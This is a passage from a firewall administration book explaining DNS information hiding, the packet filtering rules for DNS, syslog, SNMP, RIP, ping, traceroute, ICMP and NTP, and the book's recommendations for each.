How can you deal with these reverse lookups? If all these servers wanted was a name to log, you could simply create a wildcard PTR record. That record would indicate that a whole range of addresses belongs to an unknown host in a particular domain. For example, you might have a lookup for *.19.16.172.IN-ADDR.ARPA return unknown.somewhere.net). Returning this information would be fairly helpful; it would at least tell the server administrator whose machine it was (somewhere.net's). Anyone who had a problem with the machine could pursue it through the published contacts for the somewhere.net domain.

There is a problem with doing only this, however. In an effort to validate the data returned by the DNS, more and more servers (particularly anonymous FTP servers) are now doing a double-reverse lookup, and won't talk to you unless the double-reverse lookup succeeds. This is the same kind of lookup we mentioned above; it's certainly necessary for people who provide a service where they need any degree of authentication of the requesting host. Whether or not anonymous FTP is such a service is another question. Some people believe that once you put a file up for anonymous FTP, you no longer have reason to try to authenticate hosts; after all, you're trying to give information away. People running anonymous FTP servers that do double-reverse lookup argue that people who want services have a responsibility to be members of the network community and that requires being identifiable. Whichever side of the argument you're on, it is certainly true that the maintainers of several of the largest and best-known anonymous FTP servers are on the side that favors double-reverse lookup, and will not provide service to you unless double-reverse lookup succeeds.

In a double-reverse lookup, a DNS client:

  • Performs a reverse lookup to translate an IP address to a hostname.

  • Does a regular lookup on that hostname to determine its nominal IP address.

  • Compares this nominal IP address to the original IP address.

Your fake server needs to provide consistent fake data for all hosts in your domain whose IP addresses are going to be seen by the outside world. For every IP address you own, the fake server must publish a PTR record with a fake hostname, as well as a corresponding A record that maps the fake hostname back to the IP address. For example, for address 172.16.1.2, you might publish a PTR record with the name host-172-16-1-2.somewhere.net and a corresponding A record which maps host-172-16-1-2.somewhere.net back to the corresponding IP address (172.16.1.2). When you connect to some remote system that attempts to do a reverse lookup of your IP address (e.g., 172.16.1.2) to determine your hostname, that system will get back the fake hostname (e.g., host-172-16-1-2). If the system then attempts to do a double-reverse lookup to translate that hostname to an IP address, it will get back 172.16.1.2, which matches the original IP address and satisfies the consistency check.

If you are strictly using proxying to connect internal hosts to the external world, you don't need to set up the fake information for your internal hosts; you simply need to put up information for the host or hosts running the proxy server. The external world will see only the proxy server's address. For a large network, this by itself may make using proxy service for FTP worthwhile.

8.10.5.2 Set up a real DNS server on an internal system for internal hosts to use

Your internal machines need to use the real DNS information about your hosts, not the fake information presented to the outside world. You do this through a standard DNS server setup on some internal system. Your internal machines may also want to find out about external machines, though, e.g., to translate the hostname of a remote anonymous FTP site to an IP address.

One way to accomplish this is to provide access to external DNS information by configuring your internal DNS server to query remote DNS servers directly, as appropriate, to resolve queries from internal clients about external hosts. Such a configuration, however, would require opening your packet filtering to allow your internal DNS server to talk to these remote DNS servers (which might be on any host on the Internet). This is a problem because DNS is UDP-based, and as we discuss in Chapter 6, you need to block UDP altogether in order to block outside access to vulnerable RPC-based services like NFS and NIS/YP.

Fortunately, the most common DNS server (the UNIX named program) provides a solution to this dilemma: the forwarders directive in the /etc/named.boot server configuration file. The forwarders directive tells the server that, if it doesn't know the information itself already (either from its own zone information or from its cache), it should forward the query to a specific server and let this other server figure out the answer, rather than try to contact servers all over the Internet in an attempt to determine the answer itself. In the /etc/named.boot configuration file, you set up the forwarders line to point to the fake server on the bastion host; the file also needs to contain a "slave" line, to tell it to only use the servers on the forwarders line, even if the forwarders are slow in answering.

The use of the forwarders mechanism doesn't really have anything to do with hiding the information in the internal DNS server; it has everything to do with making the packet filtering as strict as possible (i.e., applying the principle of least privilege), by making it so that the internal DNS server need only be able to talk to the bastion host DNS server, not to DNS servers throughout the whole Internet.

If internal hosts can't contact external hosts, you may not want to bother setting things up so that they can resolve external host names. SOCKS proxy clients can be set up to use the external name server directly. This simplifies your name service configuration somewhat, but it complicates your proxying configuration, and some users may want to resolve hostnames even though they can't reach them (for example, they may be interested in knowing whether the hostname in an email address is valid).

Figure 8.16 shows how DNS works with forwarding; Figure 8.17 shows how it works without forwarding.

Figure 8.16: DNS with forwarding

Figure 8.17: DNS without forwarding

8.10.5.3 Internal DNS clients query the internal server

The next step is to configure your internal DNS clients to ask all their queries of the internal server. On UNIX systems, you do this through the /etc/resolv.conf file. There are two cases:

  • When the internal server receives a query about an internal system, or about an external system which is in its cache, it answers directly and immediately because it already knows the answers to such queries.

  • When the internal server receives a query about an external system that isn't in its cache, the internal server forwards this query to the bastion host server (because of the forwarders line described above). The bastion host server obtains the answer from the appropriate DNS servers on the Internet and relays the answer back to the internal server. The internal server then answers the original client and caches the answer.

In either case, as far as the client is concerned, it asked a question of the internal server and got an answer from the internal server. The client doesn't know whether the internal server already knew the answer or had to obtain the answer from other servers (indirectly, via the bastion server). Therefore, the /etc/resolv.conf file will look perfectly standard on internal clients.

8.10.5.4 Bastion DNS clients also query the internal server

The key to this whole information-hiding configuration is that DNS clients on the bastion host must query the internal server for information, not the server on the bastion host. This way, DNS clients on the bastion host (such as Sendmail, for example) can use the real hostnames and so on for internal hosts, but clients in the outside world can't access the internal data.

DNS server and client configurations are completely separate. Many people assume that they must have configuration files in common, that the clients will automatically know about the local server, and that pointing them elsewhere will also point the server elsewhere. In fact, there is no overlap. Clients never read /etc/named.boot, which tells the server what to do, and the server never reads /etc/resolv.conf, which tells the clients what to do.

Again, there are two cases:

  • When a DNS client on the bastion host asks about an internal system, it gets the real answer directly from the internal server.

  • When a DNS client on the bastion host asks about an external system, the internal DNS server forwards the query to the bastion DNS server. The bastion server obtains the answer from the appropriate DNS servers on the Internet, and then relays the answer back to the internal server. The internal server, in turn, answers the original client on the bastion host.

DNS clients on the bastion host could obtain information about external hosts more directly by asking the DNS server on the bastion host instead of the one on the internal host. However, if they did that, they'd be unable to get the "real" internal information, which only the server on the internal host has. They're going to need that information, because they're talking to the internal hosts as well as the external hosts.

8.10.5.5 What your packet filtering system needs to allow

In order for this DNS forwarding scheme to work, any packet filtering system between the bastion host and the internal systems has to allow all of the following (see the table below for details):

  • DNS queries from the internal server to the bastion host server: UDP packets from port 53 on the internal server to port 53 on the bastion host (rule A), and TCP packets from ports above 1023 on the internal server to port 53 on the bastion host (rule B).

  • Responses to those queries from the bastion host to the internal server: UDP packets from port 53 on the bastion host to port 53 on the internal server (rule C), and TCP packets with the ACK bit set from port 53 on the bastion host to ports above 1023 on the internal server (rule D).

  • DNS queries from the bastion host DNS clients to the internal server: UDP and TCP packets from ports above 1023 on the bastion host to port 53 on the internal server (rules E and F).

  • Responses from the internal server to those bastion host DNS clients: UDP packets and TCP packets with the ACK bit set from port 53 on the internal server to ports above 1023 on the bastion host (Rules G and H).

 | Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
Rule | tion | Addr. | Addr. | tocol | Port | Port | Set | Action
A | Out | Internal Server | Bastion Host | UDP | 53 | 53 | [39] | Permit
B | Out | Internal Server | Bastion Host | TCP | >1023 | 53 | Any | Permit
C | In | Bastion Host | Internal Server | UDP | 53 | 53 | [39] | Permit
D | In | Bastion Host | Internal Server | TCP | 53 | >1023 | Yes | Permit
E | In | Bastion Host | Internal Server | UDP | >1023 | 53 | [39] | Permit
F | In | Bastion Host | Internal Server | TCP | >1023 | 53 | Any | Permit
G | Out | Internal Server | Bastion Host | UDP | 53 | >1023 | [39] | Permit
H | Out | Internal Server | Bastion Host | TCP | 53 | >1023 | Yes | Permit

[39] UDP packets do not have ACK bits.

8.10.6 Setting up DNS Without Hiding Information

The approach we've described above is not the only option. Suppose that you don't feel it's necessary to hide your internal DNS data from the world. In this case, your DNS configuration is similar to the one we've described above, but it's somewhat simpler. Figure 8.18 shows how DNS works without information hiding.

Figure 8.18: DNS without information hiding

With this alternate approach, you should still have a bastion host DNS server and an internal DNS server; however, one of these can be a secondary server of the other. Generally, it's easier to make the bastion DNS server a secondary of the internal DNS server, and to maintain your DNS data on the internal server. You should still configure the internal DNS server to forward queries to the bastion host DNS server, but the bastion host DNS clients can be configured to query the bastion host server instead of the internal server.

You need to configure any packet filtering system between the bastion host and the internal server to allow the following (see the table below for details):

  • DNS queries from the internal DNS server to the bastion DNS server: UDP packets from port 53 on the internal server to port 53 on the bastion host (rule A) and TCP packets from ports above 1023 on the internal server to port 53 on the bastion host (rule B).

  • Responses from the bastion DNS server to the internal DNS server: UDP packets from port 53 on the bastion host to port 53 on the internal server (rule C) and TCP packets with the ACK bit set from port 53 on the bastion host to ports above 1023 on the internal server (rule D).

If the bastion host is also a DNS secondary server and the internal host is the corresponding DNS primary server, you also have to allow the following:

  • DNS queries from the bastion host DNS server to the internal DNS server: UDP packets from port 53 on the bastion host to port 53 on the internal server (note that this is the same as rule C), and TCP packets from ports above 1023 on the bastion host to port 53 on the internal server (rule E).

  • Responses from the internal DNS server back to the bastion DNS server: UDP packets from port 53 on the internal server to port 53 on the bastion host (note that this is the same as rule A), and TCP packets with the ACK bit set from port 53 on the internal server to ports above 1023 on the bastion host (rule F).

  • DNS zone transfer requests from the bastion host to the internal server: TCP packets from ports above 1023 on the bastion host to port 53 on the internal server (note that this is the same as rule E).

  • DNS zone transfer responses from the internal server to the bastion host: TCP packets with the ACK bit set from port 53 on the internal server to ports above 1023 on the bastion host (note that this is the same as rule F).

 | Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
Rule | tion | Addr. | Addr. | tocol | Port | Port | Set | Action
A | Out | Internal Server | Bastion Host | UDP | 53 | 53 | [40] | Permit
B | Out | Internal Server | Bastion Host | TCP | >1023 | 53 | Any | Permit
C | In | Bastion Host | Internal Server | UDP | 53 | 53 | [40] | Permit
D | In | Bastion Host | Internal Server | TCP | 53 | >1023 | Yes | Permit
E | In | Bastion Host | Internal Server | TCP | >1023 | 53 | Any | Permit
F | Out | Internal Server | Bastion Host | TCP | 53 | >1023 | Yes | Permit

[40] UDP packets do not have ACK bits.

8.10.7 Summary of DNS Recommendations

  • Set up an external DNS server on a bastion host for the outside world to access.

  • Do not make HINFO records visible to the outside world; either don't use them, or configure DNS for information hiding as described above.

  • Use an up-to-date BIND implementation and double-reverse lookups to avoid spoofing.

  • Consider hiding all internal DNS data and using forwarding and fake records; this doesn't make sense for all sites, but it might for yours.

  • Disable zone transfers to anyone but your secondaries, using packet filtering or the xfernets directive. Even if you've chosen not to hide your DNS information, there's probably no valid reason for anyone but your secondaries to do a zone transfer, and disallowing zone transfers makes life a bit harder for attackers.

Previous: 8.9 Real-Time Conferencing Services | Building Internet Firewalls | Next: 8.11 syslog
8.9 Real-Time Conferencing Services | Book Index | 8.11 syslog


[Chapter 8] 8.11 syslog

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.10 Domain Name System (DNS) Chapter 8
Configuring Internet Services 		Next: 8.12 Network Management Services

8.11 syslog

syslog is used to manage log messages in a centralized way. syslog got its start as a way of centrally recording messages for a set of UNIX machines, but many network devices (routers, hubs, etc.) now use syslog to report status and usage information. Such devices often don't even have a way to record this information locally, because they don't have any writable storage media; if you want to know what they're reporting, something has to be listening to their syslog messages.

Attackers will often attempt to flood a site's syslog server in order to cover their tracks, so that the server runs out of disk space and stops logging new messages, or so that the evidence of their activities is lost in the noise.

8.11.1 Packet Filtering Characteristics of syslog

syslog is a UDP-based service. syslog servers (which record messages logged by other systems) listen on UDP port 514. syslog clients generally (but not always) use ports above 1023 to talk to servers. syslog servers never send messages back to clients. syslog servers can be configured to pass messages along to other syslog servers; in such cases, the sending server generally uses port 514 as the client port.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | UDP | >1023[41] | 514 | [42] | External client contacting internal syslog server
Out | Int | Ext | UDP | >1023[41] | 514 | [42] | Internal client contacting external syslog server
In | Ext | Int | UDP | 514 | 514 | [42] | External syslog server passing message to internal syslog server
Out | Int | Ext | UDP | 514 | 514 | [42] | Internal syslog server passing message to external syslog server

[41] Some syslog clients sometimes use ports below 1024.

[42] UDP packets do not have ACK bits.

8.11.2 Proxying Characteristics of syslog

syslog is a self-proxying protocol; that is, syslog servers can generally be configured to simply pass messages they receive on to other syslog servers.

8.11.3 Summary of syslog Recommendations

  • Do not allow syslog in from the outside world. In this way, you'll prevent attackers from attempting to flood your syslog servers.

Previous: 8.10 Domain Name System (DNS) | Building Internet Firewalls | Next: 8.12 Network Management Services
8.10 Domain Name System (DNS) | Book Index | 8.12 Network Management Services


[Chapter 8] 8.12 Network Management Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.11 syslog Chapter 8
Configuring Internet Services 		Next: 8.13 Network Time Protocol (NTP)

8.12 Network Management Services

This section describes a number of protocols that are used by people and programs to manage and maintain networks: SNMP, RIP, and ICMP - and, where appropriate, the tools, such as ping and traceroute, that use them.

8.12.1 Simple Network Management Protocol (SNMP)

SNMP is a standardized remote monitoring and management mechanism for network devices like hubs, routers, and bridges, as well as servers and workstations. The theory is that any SNMP-capable management station should be able to monitor and control any SNMP-capable network device.

Normally, SNMP management stations act as clients, contacting SNMP servers in the various network devices to request information or to issue commands. Sometimes, network devices act as SNMP clients to contact special SNMP servers (known as trap servers) on management stations to report critical information that can't wait until the next time the management station polls the device. SNMP trap servers are separate from regular SNMP servers so that a given machine can run both - that is, both an SNMP server (and thus be manageable via SNMP) and an SNMP trap server (and thus be a management station and receive traps from other devices).

In general, you don't want someone from the outside to be able to manage your network via SNMP. Therefore, you shouldn't allow SNMP to cross your firewall, and you should carefully configure (or disable) SNMP on your systems that are outside your firewall so that attackers can't use it to change that configuration.

SNMP does support some rudimentary security; when information is requested, the requester needs to specify a "community" that it's in. Different communities can be shown different information, and a reusable password can be required for certain communities. At its best, this is quite primitive security; anybody who's doing packet sniffing can easily discover a community name and password.

Not all SNMP devices support even this much. Fortunately, the most insecure SNMP features (for example, allowing SNMP clients to set parameters) are also the most complex to implement, and therefore the least often implemented. SNMP servers that don't implement passwords probably implement only straightforward queries. That may still give away information that you'd prefer not be made public, e.g., the addresses you're communicating with and presumably trust, or the precise amount of extra traffic you'd have to generate to bring down a gateway.

8.12.1.1 Packet filtering characteristics of SNMP

SNMP is a UDP-based service. SNMP servers (in network devices) listen on both TCP and UDP port 161. SNMP trap servers (in management stations) listen on both TCP and UDP port 162. SNMP clients generally use ports above 1023 to talk to both regular and trap servers.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | UDP | >1023 | 161 | [43] | External management station (client) contacting internal SNMP network device (server)
Out | Int | Ext | UDP | 161 | >1023 | [43] | Internal SNMP network device (server) replying to external management station (client)
In | Ext | Int | TCP | >1023 | 161 | [44] | External management station (client) contacting internal SNMP network device (server)
Out | Int | Ext | TCP | 161 | >1023 | Yes | Internal SNMP network device (server) replying to external management station (client)
Out | Int | Ext | UDP | >1023 | 161 | [43] | Internal management station (client) contacting external SNMP network device (server)
In | Ext | Int | UDP | 161 | >1023 | [43] | External SNMP network device (server) responding to internal management station (client)
Out | Int | Ext | TCP | >1023 | 161 | [44] | Internal management station (client) contacting external SNMP network device (server)
In | Ext | Int | TCP | 161 | >1023 | Yes | External SNMP network device (server) responding to internal management station (client)
In | Ext | Int | UDP | >1023 | 162 | [43] | External network device (client) contacting internal SNMP management station (trap server)
Out | Int | Ext | UDP | 162 | >1023 | [43] | Internal SNMP management station (trap server) replying to external network device (client)
In | Ext | Int | TCP | >1023 | 162 | [44] | External network device (client) contacting internal SNMP management station (trap server)
Out | Int | Ext | TCP | 162 | >1023 | Yes | Internal SNMP management station (trap server) replying to external network device (client)
Out | Int | Ext | UDP | >1023 | 162 | [43] | Internal network device (client) contacting external SNMP management station (trap server)
In | Ext | Int | UDP | 162 | >1023 | [43] | External SNMP management station (trap server) responding to internal network device (client)
Out | Int | Ext | TCP | >1023 | 162 | [44] | Internal network device (client) contacting external SNMP management station (trap server)
In | Ext | Int | TCP | 162 | >1023 | Yes | External SNMP management station (trap server) responding to internal network device (client)

[43] UDP packets do not have ACK bits.

[44] ACK will not be set on the first packet of this type (establishing connection) but will be set on the rest.

8.12.1.2 Proxying characteristics of SNMP

SNMP is not commonly used across the Internet, so proxies for it are not widely available. Although it is a straightforward single-connection protocol, it's often implemented in devices (like dedicated routers) for which source code and compilers are not readily available, making it almost impossible to use with a modified-client proxy system like SOCKS. It shouldn't be too difficult to make it work with modified-procedure proxy systems.

8.12.2 Routing Information Protocol (RIP)

RIP is the oldest routing protocol on the Internet. In fact, it predates IP; it was taken almost verbatim from the older Xerox Network Services (XNS) system. It is also still the most commonly used routing protocol on local area IP networks. Routers (including general-purpose machines with multiple interfaces, that can act as routers) use RIP to periodically broadcast which networks they know how to reach, and how far away those networks are. By listening to these broadcasts, a router or host can determine what networks are reachable and choose the best (shortest) path to each. RIP servers generally just broadcast this information every 30 seconds or so for anyone interested to hear, but a RIP client can request a special update from a RIP server, which will cause the server to reply directly to the client with the information requested.

8.12.2.1 Packet filtering characteristics of RIP

RIP is a UDP-based service. RIP servers listen on port 520 for broadcasts from other servers and requests from clients. RIP servers generally send their broadcasts from port 520. RIP clients generally use ports above 1023.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | UDP | >1023 | 520 | [45] | External client request to internal server
Out | Int | Ext | UDP | 520 | >1023 | [45] | Internal server response to external client
Out | Int | Ext | UDP | >1023 | 520 | [45] | Internal client request to external server
In | Int | Ext | UDP | 520 | >1023 | [45] | External server response to internal client
In | Ext | Broadcast | UDP | 520 | 520 | [45] | External server broadcasting to internal servers
Out | Int | Broadcast | UDP | 520 | 520 | [45] | Internal server broadcasting to external servers

[45] UDP packets do not have ACK bits.

8.12.2.2 Proxying characteristics of RIP

Because RIP allows a host to develop routing tables that are specific to where that host is in the network, it doesn't make any sense to proxy RIP to another host elsewhere in the network.

8.12.3 ping

The ping program checks network connectivity. The ping application generates an ICMP "echo request" packet. The destination system responds with an ICMP "echo response" packet. ICMP is typically implemented in the kernel, so it's the kernel that generates the "echo response" packet; there is no separate server for ICMP on most systems. (On some machines, the echo response is actually generated in the network interface itself, not in the operating system, and the machine need not even be fully running to respond to ping.) ping is not the only program that uses ICMP echo; others include spray and almost any dedicated network management tool.

ping is a useful network trouble-shooting tool, and it is reasonably safe. You'll probably want to allow ping outbound from at least the machines your network operations staff uses and inbound from at least the network operations center machines of your network service provider.

Because of where it is implemented, it is almost impossible to disable replies to ping on individual hosts; packet filtering is the only way to control it.

There are two dangers in allowing ICMP echo:

  • It can be used for a denial of service attack: that is, to flood your network. Although any protocol you accept can be used in this way, ICMP echo is particularly tempting, because there are commonly available programs designed for network testing (including some versions of ping) that let you flood networks with simple command line options.

  • Anybody who can send ICMP echo requests to and receive ICMP echo responses from your network can discover how many machines you have, and what network addresses they're at; this increases the efficiency of any further attacks. That's why you want to limit requests to machines that have a legitimate reason to be probing your network.

8.12.3.1 Packet filtering characteristics of ping

Many packet filtering systems let you filter ICMP packets in much the same way as TCP or UDP packets: by specifying the ICMP message type code instead of the TCP or UDP source or destination port number. If your packet filtering system has this capability, its documentation should include a list of the ICMP numeric codes or keywords that the packet filtering system understands.

To allow the ping program to operate outbound (i.e., ping'ing remote hosts), you'll have to allow ICMP echo request packets outbound and ICMP echo response packets inbound. To allow inbound ping (i.e., a remote host ping'ing a local host), you'll have to allow ICMP echo request packets inbound and ICMP echo response packets outbound.

Direc- | Source | Dest. | Pro- | Message |
tion | Addr. | Addr. | tocol | Type[46] | Notes
In | Ext | Int | ICMP | 8 | Incoming ping
Out | Int | Ext | ICMP | 0 | Response to incoming ping
Out | Int | Ext | ICMP | 8 | Outgoing ping
In | Ext | Int | ICMP | 0 | Response to outgoing ping

[46] ICMP messages do not have source or destination port numbers; they have a single ICMP message type field instead. ICMP packets also do not have ACK bits.

8.12.3.2 Proxying characteristics of ping

Because ping is neither TCP nor UDP-based, it won't work with any widely available generic proxy server for modified-client proxying. Because ping transmits no user-supplied data to the destination host, modified-procedure proxying for ping is not possible. Modified-procedure proxying also relies on the ability of the proxy server to intercept the request before the machine it's running on generates a reply, which is difficult with ping. In a pure proxying environment, ping will have to be provided by letting users connect to the proxying host and run ping from there, as discussed in Chapter 7.

8.12.4 traceroute

traceroute is an application that shows you the route that packets take to a particular IP destination. Because no system typically knows the full path to the destination (merely the next step towards the destination), this is a neat trick.[47] traceroute works by carefully constructing special UDP packets. The destination address of the packets is the remote host; the destination port is an unused (or so we hope, as we'll discuss below) UDP port on the remote host. The really special thing about the packets, though, is that the "time to live" (TTL) fields are set very low (starting at 1), so that the packets will be rejected by intermediate routers as if they were looping in the network. By looking at where the rejections (ICMP "time to live exceeded" messages) come from, traceroute can determine who the intermediate routers are.

[47] traceroute is, fundamentally, a "cool hack."

TTL is an IP header that normally isn't of interest from a firewall point of view. The name is somewhat misleading; it might be more intuitively called "hops to live." When a packet is first created, its TTL field is set to some value (typically 16, 30, or 255). Every router that handles the packet along its journey decrements the TTL field by 1. If the TTL field ever reaches 0, the packet is assumed to be in some sort of a loop; it is encapsulated within an ICMP "time to live exceeded" message, and is returned to the source address.

Thus, the first router that handles the first of traceroute's specially constructed packets (which has a TTL of 1) will decrement the TTL field, see that it's 0, and return an ICMP "time to live exceeded" message, telling traceroute the IP address of the first router (the source of the ICMP message).

traceroute then constructs another UDP packet, this time with a TTL of 2, and sends it out. This packet gets to the second router before TTL gets decremented to 0, and traceroute knows that the router that returns the ICMP "time to live exceeded" for that packet is the second router along the path to the destination. traceroute then constructs a UDP packet with a TTL of 3, then 4, and so on, to determine the path to the destination.

traceroute knows it's finished when it gets back an ICMP "service unavailable" message, rather than an ICMP "time to live exceeded" message from some intermediate router.

Most versions of traceroute will also note and display relevant ICMP "host unreachable", "network unreachable", and other ICMP messages received.

If traceroute can't reach the destination host (or can't get anything back from it), it eventually times out.

8.12.4.1 Packet filtering characteristics of traceroute

To allow traceroute outbound through your packet filters (i.e., someone running traceroute from the inside, to an external destination), you have to allow the constructed UDP packets outbound, and the relevant ICMP packets (particularly "time to live exceeded" and "service unavailable" back inbound.

To allow traceroute inbound, you have to allow the constructed UDP packets inbound, and the relevant ICMP messages back outbound. You may wish to limit this capability to the machines used by the network operations center of your network service provider, in order to keep a tight reign on the UDP packets allowed through your firewall. Doing so protects RPC-based services like NFS and NIS/YP) and keeps attackers from using traceroute to discover which addresses at your site are actually assigned to hosts.

Some versions of traceroute can be told (via a command line or a compile-time option) which range of UDP ports to use for the destination. You may need to establish a convention for your site of what port(s) will be allowed through the packet filters for use by traceroute. You don't want to allow any more latitude in your packet filters for traceroute than absolutely necessary (particularly for incoming traceroute). Because traceroute is UDP-based, an attacker could potentially take advantage of the UDP-based rules in your packet filtering that are there to allow traceroute in order to attack other UDP-based services like NFS and NIS/YP.

Direc- | Source | Dest. | Pro- | Source | Dest. | Message |
tion | Addr. | Addr. | tocol | Port[48] | Port[48] | Type[48] | Notes
Out | Int | Ext | UDP | [49] | [49] | [48] | Outgoing traceroute probe
In | Ext | Int | ICMP | [48] | [48] | 11 | Incoming "TTL exceeded"
In | Ext | Int | ICMP | [48] | [48] | 3 | Incoming "service unavailable"
In | Ext | Int | UDP | [49] | [49] | [48] | Incoming traceroute probe
Out | Int | Ext | ICMP | [48] | [48] | 11 | Outgoing "TTL exceeded"
Out | Int | Ext | ICMP | [48] | [48] | 3 | Outgoing "service unavailable"

[48] UDP packets have source and destination ports; ICMP packets have only message type fields. Neither UDP nor ICMP packets have ACK bits.

[49] traceroute probe packet UDP source/destination ports vary by implementation, invocation, and/or command-line arguments. They are generally >32768, but that's about the only generalization you can make about them. Specific implementations (particularly in routers and on non-UNIX platforms) may vary. Destination ports, in particular, are usually in the range 33434 through 33523. (Why this is the case is somewhat complicated, and you should read the comments in the UNIX traceroute source code if you're perversely curious.)

8.12.4.2 Proxying characteristics of traceroute

Like ping, traceroute could easily be supported by an ICMP-knowledgeable modified-client proxy server. Unfortunately, no such proxy server is widely available. Modified-procedure proxying is not possible with traceroute.

8.12.5 Other ICMP Packets

There are a number of ICMP message types that are used for network management that don't have programs associated with them. These are automatically generated and interpreted by various programs and network devices.

What to do with ICMP messages depends on the message, and the direction it's going in. We've already talked about "echo request", "echo reply", "destination unreachable", "service unavailable" (actually a special type of "destination unreachable"), and "time to live exceeded" messages. The other ICMP message types you probably want to allow, both inbound and outbound, are "source quench" (used by a receiver to tell a sender to "slow down," because it's sending data too fast) and "parameter problem" (which is sort of a catch-all code to return when there is a problem with packet headers that can't be reported any other way).

Many other ICMP message types have the potential to change local information on your hosts (for example, "redirect" causes changes to a host's routing tables), so you probably don't want to allow such messages inbound through your packet filters.

In general, you only want to allow ICMP outbound when it has the chance of doing you some good. Both "source quench" and "parameter problem" are used to get the sending host to be nicer to you, and are worth allowing outbound. Any of the ICMP types that indicates that the connection can't be made ("destination unavailable", "network unavailable", "service unavailable", "destination adminstratively unavailable", or "network administratively unavailable", for example) will help an attacker probe your network without giving you much benefit, and you may want to block these outbound.

8.12.5.1 Packet filtering characteristics of ICMP

As we've said earlier, ICMP packets do not have source or destination port numbers, but have a single ICMP message type field instead. Many packet filtering systems will let you filter ICMP packets based on that field in the same way they allow you to filter TCP or UDP packets based on the source and destination port number fields. Here are some common ICMP message types, and how you should handle them (whether you should allow them through your firewall, or block them).

Message |
Type[50] | Description
0 | Echo reply (reply to ping; see ping section above).
3 | Destination unreachable (see traceroute section above). May indicate host unreachable, network unreachable, port unreachable, or other.
4 | Source quench (somebody telling destination "slow down; you're talking too fast"); should probably be allowed.
5 | Redirect (somebody telling destination to change a route); is supposed to be ignored by your systems unless it comes from a directly connected router, but should probably be blocked anyway. In particular, make sure the routers that are part of your firewall ignore it.
8 | Echo request (generated by ping; see ping section above); should probably be allowed.
11 | Time exceeded (packet appears to be looping); should probably be allowed.
12 | Parameter problem (problem with a packet header); should probably be allowed.

[50] ICMP messages do not have source or destination port numbers; they have a single ICMP message type field instead. ICMP packets also do not have ACK bits.

8.12.6 Summary of Network Management Recommendations

  • Do not allow SNMP across your firewall from the Internet. (This may require special SNMP configurations on your packet filtering routers, which are probably themselves SNMP-capable devices.)

  • Do not allow routing protocols (RIP or otherwise) across your firewall to or from the Internet. Routing on the firewall is generally very simple and accomplished best with static routes. Simply configure the firewall to direct packets bound for internal source addresses to an internal router and to direct all other packets to your Internet connection.

  • Allow ICMP echo requests outbound, but limit incoming ICMP echo requests to those coming from machines with a legitimate need to probe your network (such as your network service provider's network operations center). Allow ICMP echo responses either way.

  • Allow traceroute outbound, but limit incoming traceroute requests to those coming from machines with a legitimate need to probe your network, and limit the port range used.

  • Allow only safe ICMP message types, as described above.

Previous: 8.11 syslog | Building Internet Firewalls | Next: 8.13 Network Time Protocol (NTP)
8.11 syslog | Book Index | 8.13 Network Time Protocol (NTP)


[Chapter 8] 8.13 Network Time Protocol (NTP)

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.12 Network Management Services Chapter 8
Configuring Internet Services 		Next: 8.14 Network File System (NFS)

8.13 Network Time Protocol (NTP)

NTP allows you to set the clocks on your systems very accurately, to within 100ms and sometimes even 10ms. Knowing the exact time is extremely important for certain types of applications and protocols:

  • It's much easier to correlate information from multiple machines (log files, for example, when analyzing a break-in attempt) when the clocks on those machines are all synchronized. It's helpful to know exactly who was attacked, and in what order, if you're going to understand what the attacker was after - and what he might do next.

  • Some security protocols depend on an accurate source of time information in order to prevent "playback" attacks. Such protocols tag their communications with the current time, so that those same communications, e.g., a login/password interaction or even an entire communication, can't be replayed at a later date as part of an attack. This tagging can be circumvented if the clock can be set back to the time the communication was recorded.

NTP servers communicate with other NTP servers in a hierarchy to distribute clock information. The closer a system is to a reference clock (an atomic clock, radio clock, or some other definitive clock), the higher it is in the hierarchy. Servers communicate with each other frequently to estimate and track network delay between themselves, so that this delay can be compensated for. NTP clients simply ask servers for the current time without worrying about compensating for communications delays.

8.13.1 Packet Filtering Characteristics of NTP

NTP is a UDP-based service. NTP servers use well-known port 123 to talk to each other and to NTP clients. NTP clients use random ports above 1023. As with DNS, you can tell the difference between:

  • An NTP client-to-server query - source port above 1023, destination port 123.

  • An NTP server-to-client response - source port 123, destination port above 1023.

  • An NTP server-to-server query or response - source and destination ports both 123.

Unlike DNS, NTP never uses TCP, and NTP has no analog to the DNS zone transfer operation.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | UDP | >1023 | 123 | [51] | Incoming query, client to server
Out | Int | Ext | UDP | 123 | >1023 | [51] | Answer to incoming UDP query, server to client
Out | Int | Ext | UDP | >1023 | 123 | [51] | Outgoing query, client to server
In | Ext | Int | UDP | 123 | >1023 | [51] | Answer to outgoing UDP query, server to client
In | Ext | Int | UDP | 123 | 123 | [51] | Query or response between two servers
Out | Int | Ext | UDP | 123 | 123 | [51] | Query or response between two servers

[51] UDP packets do not have ACK bits.

Figure 8.19 shows how packet filtering works with NTP.

Figure 8.19: NTP with packet filtering

8.13.2 Proxying Characteristics of NTP

As a UDP-based application, NTP can't be proxied by SOCKS, but can be used with the UDP Packet Relayer. Because NTP employs a hierarchy of servers, it can be configured to run on a bastion host without using explicit proxying, as shown below.

8.13.3 Configuring NTP to Work with a Firewall

Do you really need to configure NTP to work with a firewall? That's your first decision. You may not need to if either of the following cases is true at your site:

  • If you have an accurate source of time within your internal network - for example, a radio clock receiving time signals from the National Bureau of Standards atomic clocks on one of their radio stations (or the equivalent from non-U.S. standards organizations), or a satellite clock receiving data from the Global Positioning System (GPS) satellites.

  • If you're more worried about having time be consistent within your network than between your network and the outside world.

In either of these cases, you don't need to run NTP across your firewall; you can simply run it internally.

